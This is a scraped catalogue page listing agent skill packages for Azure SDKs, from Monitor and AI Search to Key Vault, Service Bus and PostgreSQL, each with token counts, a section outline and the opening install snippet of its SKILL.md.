SKILL.mdcore10,813 bytesSKILL.mdcore10,813 bytesSKILL.mdcore10,813 bytesSKILL.mdcore10,813 bytes
Read SKILL.md
# Azure.ResourceManager.WeightsAndBiases (.NET)
Azure Resource Manager SDK for deploying and managing Weights & Biases ML experiment tracking instances via Azure Marketplace.
## Installation
```bash
dotnet add package Azure.ResourceManager.WeightsAndBiases --prerelease
dotnet add package Azure.Identity
```
**Current Version**: v1.0.0-beta.1 (preview)
**API Version**: 2024-09-18-preview
View the complete source on GitHubazure-microsoft-playwright-testing-ts
When your agent uses it
Run Playwright tests at scale using Azure Playwright Workspaces (formerly Microsoft Playwright Testing). Use when scaling browser tests across cloud-hosted browsers, integrating with CI/CD pipeline...
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
1,890 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Core Workflow
- Configuration Options
- CI/CD Integration
- Key Types
- Migration from Old Package
- Best Practices
- When to Use
Files
SKILL.mdcore8,065 bytesSKILL.mdcore8,065 bytesSKILL.mdcore8,065 bytesSKILL.mdcore8,065 bytesSKILL.mdcore8,065 bytes
Read SKILL.md
# Azure Playwright Workspaces SDK for TypeScript
Run Playwright tests at scale with cloud-hosted browsers and integrated Azure portal reporting.
> **Migration Notice:** `@azure/microsoft-playwright-testing` is retired on **March 8, 2026**. Use `@azure/playwright` instead. See [migration guide](https://aka.ms/mpt/migration-guidance).
## Installation
```bash
# Recommended: Auto-generates config
npm init @azure/playwright@latest
# Manual installation
npm install @azure/playwright --save-devView the complete source on GitHubazure-monitor-ingestion-java
When your agent uses it
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
1,677 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Prerequisites
- Environment Variables
- Client Creation
- Key Concepts
- Core Operations
- Log Entry Model Example
- Error Handling
- Best Practices
- Querying Uploaded Logs
- Reference Links
- When to Use
Files
SKILL.mdcore7,359 bytesSKILL.mdcore7,359 bytes
Read SKILL.md
# Azure Monitor Ingestion SDK for Java
Client library for sending custom logs to Azure Monitor using the Logs Ingestion API via Data Collection Rules.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-monitor-ingestion</artifactId>
<version>1.2.11</version>
</dependency>
```
View the complete source on GitHubazure-monitor-ingestion-py
When your agent uses it
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
1,320 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Prerequisites
- Authentication
- Upload Custom Logs
- Upload from JSON File
- Custom Error Handling
- Ignore Errors
- Async Client
- Sovereign Clouds
- Batching Behavior
- Client Types
- Key Concepts
- DCR Stream Name Format
- Best Practices
- When to Use
Files
SKILL.mdcore5,540 bytesSKILL.mdcore5,540 bytesSKILL.mdcore5,540 bytesSKILL.mdcore5,540 bytesSKILL.mdcore5,540 bytesSKILL.mdcore5,540 bytesSKILL.mdcore5,540 bytesSKILL.mdcore5,540 bytesSKILL.mdcore5,540 bytesSKILL.mdcore5,540 bytes
Read SKILL.md
# Azure Monitor Ingestion SDK for Python
Send custom logs to Azure Monitor Log Analytics workspace using the Logs Ingestion API.
## Installation
```bash
pip install azure-monitor-ingestion
pip install azure-identity
```
## Environment Variables
```bashView the complete source on GitHubazure-monitor-opentelemetry-exporter-java
When your agent uses it
What it loads into context
Frontmatter
115 tokensAlways available to the agent
SKILL.md
1,979 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation (Deprecated)
- Recommended: Use Autoconfigure Instead
- Environment Variables
- Basic Setup with Autoconfigure (Recommended)
- Creating Spans
- Adding Span Attributes
- Custom Span Processor
- Nested Spans
- Recording Exceptions
- Metrics (via OpenTelemetry)
- Key Concepts
- Migration to Autoconfigure
- Best Practices
- Reference Links
- When to Use
Files
SKILL.mdcore8,845 bytesSKILL.mdcore8,845 bytes
Read SKILL.md
# Azure Monitor OpenTelemetry Exporter for Java
> **⚠<U+FE0F> DEPRECATION NOTICE**: This package is deprecated. Migrate to `azure-monitor-opentelemetry-autoconfigure`.
>
> See [Migration Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-opentelemetry-exporter/MIGRATION.md) for detailed instructions.
Export OpenTelemetry telemetry data to Azure Monitor / Application Insights.
## Installation (Deprecated)
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-monitor-opentelemetry-exporter</artifactId>View the complete source on GitHubazure-monitor-opentelemetry-exporter-py
When your agent uses it
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
1,363 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- When to Use
- Trace Exporter
- Metric Exporter
- Log Exporter
- From Environment Variable
- Azure AD Authentication
- Sampling
- Offline Storage
- Disable Offline Storage
- Sovereign Clouds
- Exporter Types
- Configuration Options
- Best Practices
Files
SKILL.mdcore6,361 bytesSKILL.mdcore6,361 bytesSKILL.mdcore6,361 bytesSKILL.mdcore6,361 bytesSKILL.mdcore6,361 bytesSKILL.mdcore6,361 bytesSKILL.mdcore6,361 bytesSKILL.mdcore6,361 bytesSKILL.mdcore6,361 bytesSKILL.mdcore6,361 bytesSKILL.mdcore6,361 bytesSKILL.mdcore6,361 bytes
Read SKILL.md
# Azure Monitor OpenTelemetry Exporter for Python
Low-level exporter for sending OpenTelemetry traces, metrics, and logs to Application Insights.
## Installation
```bash
pip install azure-monitor-opentelemetry-exporter
```
## Environment Variables
```bash
APPLICATIONINSIGHTS_CONNECTION_STRING=InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.com/View the complete source on GitHubazure-monitor-opentelemetry-py
When your agent uses it
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
1,172 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Quick Start
- Explicit Configuration
- With Flask
- With Django
- With FastAPI
- Custom Traces
- Custom Metrics
- Custom Logs
- Sampling
- Cloud Role Name
- Disable Specific Instrumentations
- Enable Live Metrics
- Azure AD Authentication
- Auto-Instrumentations Included
- Configuration Options
- Best Practices
- When to Use
Files
SKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytesSKILL.mdcore5,221 bytes
Read SKILL.md
# Azure Monitor OpenTelemetry Distro for Python
One-line setup for Application Insights with OpenTelemetry auto-instrumentation.
## Installation
```bash
pip install azure-monitor-opentelemetry
```
## Environment Variables
```bash
APPLICATIONINSIGHTS_CONNECTION_STRING=InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.com/View the complete source on GitHubazure-monitor-opentelemetry-ts
When your agent uses it
Instrument applications with Azure Monitor and OpenTelemetry for JavaScript (@azure/monitor-opentelemetry). Use when adding distributed tracing, metrics, and logs to Node.js applications with Appli...
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
1,950 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Quick Start (Auto-Instrumentation)
- ESM Support (Node.js 18.19+)
- Full Configuration
- Custom Traces
- Custom Metrics
- Manual Exporter Setup
- Custom Logs Ingestion
- Custom Span Processor
- Sampling
- Shutdown
- Key Types
- Best Practices
- When to Use
Files
SKILL.mdcore8,458 bytesSKILL.mdcore8,458 bytesSKILL.mdcore8,458 bytesSKILL.mdcore8,458 bytes
Read SKILL.md
# Azure Monitor OpenTelemetry SDK for TypeScript
Auto-instrument Node.js applications with distributed tracing, metrics, and logs.
## Installation
```bash
# Distro (recommended - auto-instrumentation)
npm install @azure/monitor-opentelemetry
# Low-level exporters (custom OpenTelemetry setup)
npm install @azure/monitor-opentelemetry-exporter
# Custom logs ingestionView the complete source on GitHubazure-monitor-query-java
When your agent uses it
What it loads into context
Frontmatter
107 tokensAlways available to the agent
SKILL.md
2,968 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Prerequisites
- Environment Variables
- Client Creation
- Key Concepts
- Logs Query Operations
- Metrics Query Operations
- Response Structure
- Error Handling
- Best Practices
- Reference Links
- When to Use
Files
SKILL.mdcore13,333 bytesSKILL.mdcore13,333 bytes
Read SKILL.md
# Azure Monitor Query SDK for Java
> **DEPRECATION NOTICE**: This package is deprecated in favor of:
> - `azure-monitor-query-logs` — For Log Analytics queries
> - `azure-monitor-query-metrics` — For metrics queries
>
> See migration guides: [Logs Migration](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-query-logs/migration-guide.md) | [Metrics Migration](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-query-metrics/migration-guide.md)
Client library for querying Azure Monitor Logs and Metrics.
## Installation
```xml
<dependency>View the complete source on GitHubazure-monitor-query-py
When your agent uses it
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
1,401 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Logs Query Client
- Metrics Query Client
- Async Clients
- Common Kusto Queries
- Client Types
- Best Practices
- When to Use
Files
SKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytesSKILL.mdcore6,078 bytes
Read SKILL.md
# Azure Monitor Query SDK for Python
Query logs and metrics from Azure Monitor and Log Analytics workspaces.
## Installation
```bash
pip install azure-monitor-query
```
## Environment Variables
```bash
# Log AnalyticsView the complete source on GitHubazure-postgres-ts
When your agent uses it
What it loads into context
Frontmatter
112 tokensAlways available to the agent
SKILL.md
3,226 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Core Workflows
- Pool with Entra ID Token Refresh
- Error Handling
- Connection String Format
- Pool Events
- Azure-Specific Configuration
- Pool Sizing Guidelines
- Best Practices
- Key Types
- Reference Links
- When to Use
Files
SKILL.mdcore12,911 bytesSKILL.mdcore12,911 bytesSKILL.mdcore12,911 bytes
Read SKILL.md
# Azure PostgreSQL for TypeScript (node-postgres)
Connect to Azure Database for PostgreSQL Flexible Server using the `pg` (node-postgres) package with support for password and Microsoft Entra ID (passwordless) authentication.
## Installation
```bash
npm install pg @azure/identity
npm install -D @types/pg
```
## Environment Variables
```bashView the complete source on GitHubazure-resource-manager-cosmosdb-dotnet
When your agent uses it
What it loads into context
Frontmatter
127 tokensAlways available to the agent
SKILL.md
1,781 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Workflow
- Key Types Reference
- Best Practices
- Error Handling
- Reference Files
- Related SDKs
- When to Use
Files
SKILL.mdcore8,031 bytesSKILL.mdcore8,031 bytesSKILL.mdcore8,031 bytes
Read SKILL.md
# Azure.ResourceManager.CosmosDB (.NET)
Management plane SDK for provisioning and managing Azure Cosmos DB resources via Azure Resource Manager.
> **⚠<U+FE0F> Management vs Data Plane**
> - **This SDK (Azure.ResourceManager.CosmosDB)**: Create accounts, databases, containers, configure throughput, manage RBAC
> - **Data Plane SDK (Microsoft.Azure.Cosmos)**: CRUD operations on documents, queries, stored procedures execution
## Installation
```bash
dotnet add package Azure.ResourceManager.CosmosDB
dotnet add package Azure.Identity
```View the complete source on GitHubazure-resource-manager-durabletask-dotnet
When your agent uses it
What it loads into context
Frontmatter
107 tokensAlways available to the agent
SKILL.md
2,761 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Workflow
- Key Types Reference
- SKU Options
- Extension Methods
- Best Practices
- Error Handling
- Complete Example
- Related SDKs
- Source Reference
- When to Use
Files
SKILL.mdcore12,516 bytesSKILL.mdcore12,516 bytesSKILL.mdcore12,516 bytes
Read SKILL.md
# Azure.ResourceManager.DurableTask (.NET)
Management plane SDK for provisioning and managing Azure Durable Task Scheduler resources via Azure Resource Manager.
> **⚠<U+FE0F> Management vs Data Plane**
> - **This SDK (Azure.ResourceManager.DurableTask)**: Create schedulers, task hubs, configure retention policies
> - **Data Plane SDK (Microsoft.DurableTask.Client.AzureManaged)**: Start orchestrations, query instances, send events
## Installation
```bash
dotnet add package Azure.ResourceManager.DurableTask
dotnet add package Azure.Identity
```View the complete source on GitHubazure-resource-manager-mysql-dotnet
When your agent uses it
What it loads into context
Frontmatter
109 tokensAlways available to the agent
SKILL.md
3,115 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Workflows
- Key Types Reference
- SKU Tiers
- High Availability Modes
- Best Practices
- Error Handling
- Connection String
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore13,542 bytesSKILL.mdcore13,542 bytesSKILL.mdcore13,542 bytes
Read SKILL.md
# Azure.ResourceManager.MySql (.NET)
Azure Resource Manager SDK for managing MySQL Flexible Server deployments.
## Installation
```bash
dotnet add package Azure.ResourceManager.MySql
dotnet add package Azure.Identity
```
**Current Version**: v1.2.0 (GA)
**API Version**: 2023-12-30
View the complete source on GitHubazure-resource-manager-playwright-dotnet
When your agent uses it
What it loads into context
Frontmatter
132 tokensAlways available to the agent
SKILL.md
2,212 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Workflow
- Key Types Reference
- Workspace Properties
- Best Practices
- Error Handling
- Integration with Test Execution
- Related SDKs
- API Information
- Documentation Links
- When to Use
Files
SKILL.mdcore10,023 bytesSKILL.mdcore10,023 bytesSKILL.mdcore10,023 bytes
Read SKILL.md
# Azure.ResourceManager.Playwright (.NET)
Management plane SDK for provisioning and managing Microsoft Playwright Testing workspaces via Azure Resource Manager.
> **⚠<U+FE0F> Management vs Test Execution**
> - **This SDK (Azure.ResourceManager.Playwright)**: Create workspaces, manage quotas, check name availability
> - **Test Execution SDK (Azure.Developer.MicrosoftPlaywrightTesting.NUnit)**: Run Playwright tests at scale on cloud browsers
## Installation
```bash
dotnet add package Azure.ResourceManager.Playwright
dotnet add package Azure.Identity
```View the complete source on GitHubazure-resource-manager-postgresql-dotnet
When your agent uses it
What it loads into context
Frontmatter
120 tokensAlways available to the agent
SKILL.md
3,497 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Workflows
- Key Types Reference
- SKU Tiers
- PostgreSQL Versions
- High Availability Modes
- Best Practices
- Error Handling
- Connection String
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore15,428 bytesSKILL.mdcore15,428 bytesSKILL.mdcore15,428 bytes
Read SKILL.md
# Azure.ResourceManager.PostgreSql (.NET)
Azure Resource Manager SDK for managing PostgreSQL Flexible Server deployments.
## Installation
```bash
dotnet add package Azure.ResourceManager.PostgreSql
dotnet add package Azure.Identity
```
**Current Version**: v1.2.0 (GA)
**API Version**: 2023-12-01-preview
View the complete source on GitHubazure-resource-manager-redis-dotnet
When your agent uses it
What it loads into context
Frontmatter
135 tokensAlways available to the agent
SKILL.md
2,766 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Workflows
- SKU Reference
- Key Types Reference
- Best Practices
- Error Handling
- Common Pitfalls
- Connecting with StackExchange.Redis (Data Plane)
- Related SDKs
- When to Use
Files
SKILL.mdcore11,679 bytesSKILL.mdcore11,679 bytesSKILL.mdcore11,679 bytes
Read SKILL.md
# Azure.ResourceManager.Redis (.NET)
Management plane SDK for provisioning and managing Azure Cache for Redis resources via Azure Resource Manager.
> **⚠<U+FE0F> Management vs Data Plane**
> - **This SDK (Azure.ResourceManager.Redis)**: Create caches, configure firewall rules, manage access keys, set up geo-replication
> - **Data Plane SDK (StackExchange.Redis)**: Get/set keys, pub/sub, streams, Lua scripts
## Installation
```bash
dotnet add package Azure.ResourceManager.Redis
dotnet add package Azure.Identity
```View the complete source on GitHubazure-resource-manager-sql-dotnet
When your agent uses it
What it loads into context
Frontmatter
130 tokensAlways available to the agent
SKILL.md
2,395 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Workflow
- Key Types Reference
- Common SKUs
- Best Practices
- Error Handling
- Reference Files
- Related SDKs
- When to Use
Files
SKILL.mdcore9,883 bytesSKILL.mdcore9,883 bytesSKILL.mdcore9,883 bytes
Read SKILL.md
# Azure.ResourceManager.Sql (.NET)
Management plane SDK for provisioning and managing Azure SQL resources via Azure Resource Manager.
> **⚠<U+FE0F> Management vs Data Plane**
> - **This SDK (Azure.ResourceManager.Sql)**: Create servers, databases, elastic pools, configure firewall rules, manage failover groups
> - **Data Plane SDK (Microsoft.Data.SqlClient)**: Execute queries, stored procedures, manage connections
## Installation
```bash
dotnet add package Azure.ResourceManager.Sql
dotnet add package Azure.Identity
```View the complete source on GitHubazure-search-documents-dotnet
When your agent uses it
What it loads into context
Frontmatter
122 tokensAlways available to the agent
SKILL.md
2,199 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Selection
- Index Creation
- Document Operations
- Search Patterns
- Vector Search
- Semantic Search
- Hybrid Search (Vector + Keyword + Semantic)
- Field Attributes Reference
- Error Handling
- Best Practices
- Reference Files
- When to Use
Files
SKILL.mdcore9,672 bytesSKILL.mdcore9,672 bytesSKILL.mdcore9,672 bytes
Read SKILL.md
# Azure.Search.Documents (.NET)
Build search applications with full-text, vector, semantic, and hybrid search capabilities.
## Installation
```bash
dotnet add package Azure.Search.Documents
dotnet add package Azure.Identity
```
**Current Versions**: Stable v11.7.0, Preview v11.8.0-beta.1
## Environment VariablesView the complete source on GitHubazure-search-documents-py
When your agent uses it
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
3,182 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Types
- Create Index with Vector Field
- Upload Documents
- Keyword Search
- Vector Search
- Hybrid Search (Vector + Keyword)
- Semantic Ranking
- Filters
- Facets
- Autocomplete & Suggest
- Indexer with Skillset
- Best Practices
- Reference Files
- Additional Azure AI Search Patterns
- Installation
- Environment Variables
- Authentication
- Client Selection
- Index Creation Pattern
- Document Operations
- Search Patterns
- Agentic Retrieval (Knowledge Bases)
- Async Pattern
- Best Practices
- Field Types Reference
- Error Handling
- When to Use
Files
SKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytesSKILL.mdcore14,257 bytes
Read SKILL.md
# Azure AI Search SDK for Python
Full-text, vector, and hybrid search with AI enrichment capabilities.
## Installation
```bash
pip install azure-search-documents
```
## Environment Variables
```bash
AZURE_SEARCH_ENDPOINT=https://<service-name>.search.windows.netView the complete source on GitHubazure-search-documents-ts
When your agent uses it
Build search applications using Azure AI Search SDK for JavaScript (@azure/search-documents). Use when creating/managing indexes, implementing vector/hybrid search, semantic ranking, or building ag...
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
1,626 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Core Workflow
- Filtering and Facets
- Autocomplete and Suggestions
- Batch Operations
- Key Types
- Best Practices
- When to Use
Files
SKILL.mdcore6,743 bytesSKILL.mdcore6,743 bytesSKILL.mdcore6,743 bytes
Read SKILL.md
# Azure AI Search SDK for TypeScript
Build search applications with vector, hybrid, and semantic search capabilities.
## Installation
```bash
npm install @azure/search-documents @azure/identity
```
## Environment Variables
```bash
AZURE_SEARCH_ENDPOINT=https://<service-name>.search.windows.netView the complete source on GitHubazure-security-keyvault-keys-dotnet
When your agent uses it
What it loads into context
Frontmatter
112 tokensAlways available to the agent
SKILL.md
3,035 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Client Hierarchy
- Authentication
- Key Management
- Cryptographic Operations
- Key Resolver
- Key Rotation
- Key Types Reference
- Algorithms Reference
- Best Practices
- Error Handling
- Required RBAC Roles
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore12,131 bytesSKILL.mdcore12,131 bytesSKILL.mdcore12,131 bytes
Read SKILL.md
# Azure.Security.KeyVault.Keys (.NET)
Client library for managing cryptographic keys in Azure Key Vault and Managed HSM.
## Installation
```bash
dotnet add package Azure.Security.KeyVault.Keys
dotnet add package Azure.Identity
```
**Current Version**: 4.7.0 (stable)
## Environment VariablesView the complete source on GitHubazure-security-keyvault-keys-java
When your agent uses it
Azure Key Vault Keys Java SDK for cryptographic key management. Use when creating, managing, or using RSA/EC keys, performing encrypt/decrypt/sign/verify operations, or working with HSM-backed keys.
What it loads into context
Frontmatter
74 tokensAlways available to the agent
SKILL.md
2,786 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Key Types
- Create Keys
- Get Key
- Update Key Properties
- List Keys
- Delete Key
- Cryptographic Operations
- Backup and Restore
- Key Rotation
- Import Key
- Encryption Algorithms
- Signature Algorithms
- Error Handling
- Environment Variables
- Best Practices
- Trigger Phrases
- When to Use
Files
SKILL.mdcore11,034 bytesSKILL.mdcore11,034 bytes
Read SKILL.md
# Azure Key Vault Keys (Java)
Manage cryptographic keys and perform cryptographic operations in Azure Key Vault and Managed HSM.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-security-keyvault-keys</artifactId>
<version>4.9.0</version>
</dependency>
```
View the complete source on GitHubazure-security-keyvault-secrets-java
When your agent uses it
Azure Key Vault Secrets Java SDK for secret management. Use when storing, retrieving, or managing passwords, API keys, connection strings, or other sensitive configuration data.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
2,556 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Create/Set Secret
- Get Secret
- Update Secret Properties
- List Secrets
- Delete Secret
- Recover Deleted Secret
- Purge Deleted Secret
- Backup and Restore
- Async Operations
- Configuration Patterns
- Error Handling
- Secret Properties
- Environment Variables
- Best Practices
- Common Secret Types
- Trigger Phrases
- When to Use
Files
SKILL.mdcore11,559 bytesSKILL.mdcore11,559 bytes
Read SKILL.md
# Azure Key Vault Secrets (Java)
Securely store and manage secrets like passwords, API keys, and connection strings.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-security-keyvault-secrets</artifactId>
<version>4.9.0</version>
</dependency>
```
View the complete source on GitHubazure-servicebus-dotnet
When your agent uses it
What it loads into context
Frontmatter
108 tokensAlways available to the agent
SKILL.md
2,316 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Core Workflows
- Key Types Reference
- Best Practices
- Error Handling
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore10,655 bytesSKILL.mdcore10,655 bytesSKILL.mdcore10,655 bytes
Read SKILL.md
# Azure.Messaging.ServiceBus (.NET)
Enterprise messaging SDK for reliable message delivery with queues, topics, subscriptions, and sessions.
## Installation
```bash
dotnet add package Azure.Messaging.ServiceBus
dotnet add package Azure.Identity
```
**Current Version**: v7.20.1 (stable)
## Environment VariablesView the complete source on GitHubazure-servicebus-py
When your agent uses it
What it loads into context
Frontmatter
73 tokensAlways available to the agent
SKILL.md
1,665 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Types
- Send Messages (Async)
- Receive Messages (Async)
- Receive Modes
- Message Settlement
- Topics and Subscriptions
- Sessions (FIFO)
- Scheduled Messages
- Dead-Letter Queue
- Sync Client (for simple scripts)
- Best Practices
- Reference Files
- When to Use
Files
SKILL.mdcore8,112 bytesSKILL.mdcore8,112 bytesSKILL.mdcore8,112 bytesSKILL.mdcore8,112 bytesSKILL.mdcore8,112 bytesSKILL.mdcore8,112 bytesSKILL.mdcore8,112 bytesSKILL.mdcore8,112 bytesSKILL.mdcore8,112 bytesSKILL.mdcore8,112 bytesSKILL.mdcore8,112 bytesSKILL.mdcore8,112 bytesSKILL.mdcore8,112 bytes
Read SKILL.md
# Azure Service Bus SDK for Python
Enterprise messaging for reliable cloud communication with queues and pub/sub topics.
## Installation
```bash
pip install azure-servicebus azure-identity
```
## Environment Variables
```bash
SERVICEBUS_FULLY_QUALIFIED_NAMESPACE=<namespace>.servicebus.windows.netView the complete source on GitHubazure-servicebus-ts
When your agent uses it
Build messaging applications using Azure Service Bus SDK for JavaScript (@azure/service-bus). Use when implementing queues, topics/subscriptions, message sessions, dead-letter handling, or enterpri...
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
1,445 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Core Workflow
- Message Sessions
- Dead-Letter Handling
- Scheduled Messages
- Message Deferral
- Peek Messages (Non-Destructive)
- Key Types
- Receive Modes
- Best Practices
- Reference Documentation
- When to Use
Files
SKILL.mdcore6,562 bytesSKILL.mdcore6,562 bytesSKILL.mdcore6,562 bytes
Read SKILL.md
# Azure Service Bus SDK for TypeScript
Enterprise messaging with queues, topics, and subscriptions.
## Installation
```bash
npm install @azure/service-bus @azure/identity
```
## Environment Variables
```bash
SERVICEBUS_NAMESPACE=<namespace>.servicebus.windows.netView the complete source on GitHubazure-speech-to-text-rest-py
When your agent uses it
What it loads into context
Frontmatter
121 tokensAlways available to the agent
SKILL.md
2,700 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Environment Variables
- Installation
- Quick Start
- Audio Requirements
- Content-Type Headers
- Response Formats
- Chunked Transfer (Recommended)
- Authentication Options
- Query Parameters
- Recognition Status Values
- Profanity Handling
- Error Handling
- Async Version
- Supported Languages
- Best Practices
- When NOT to Use This API
- Reference Files
- When to Use
Files
SKILL.mdcore10,852 bytesSKILL.mdcore10,852 bytesSKILL.mdcore10,852 bytesSKILL.mdcore10,852 bytesSKILL.mdcore10,852 bytesSKILL.mdcore10,852 bytesSKILL.mdcore10,852 bytesSKILL.mdcore10,852 bytesSKILL.mdcore10,852 bytesSKILL.mdcore10,852 bytesSKILL.mdcore10,852 bytesSKILL.mdcore10,852 bytesSKILL.mdcore10,852 bytes
Read SKILL.md
# Azure Speech to Text REST API for Short Audio
Simple REST API for speech-to-text transcription of short audio files (up to 60 seconds). No SDK required - just HTTP requests.
## Prerequisites
1. **Azure subscription** - [Create one free](https://azure.microsoft.com/free/)
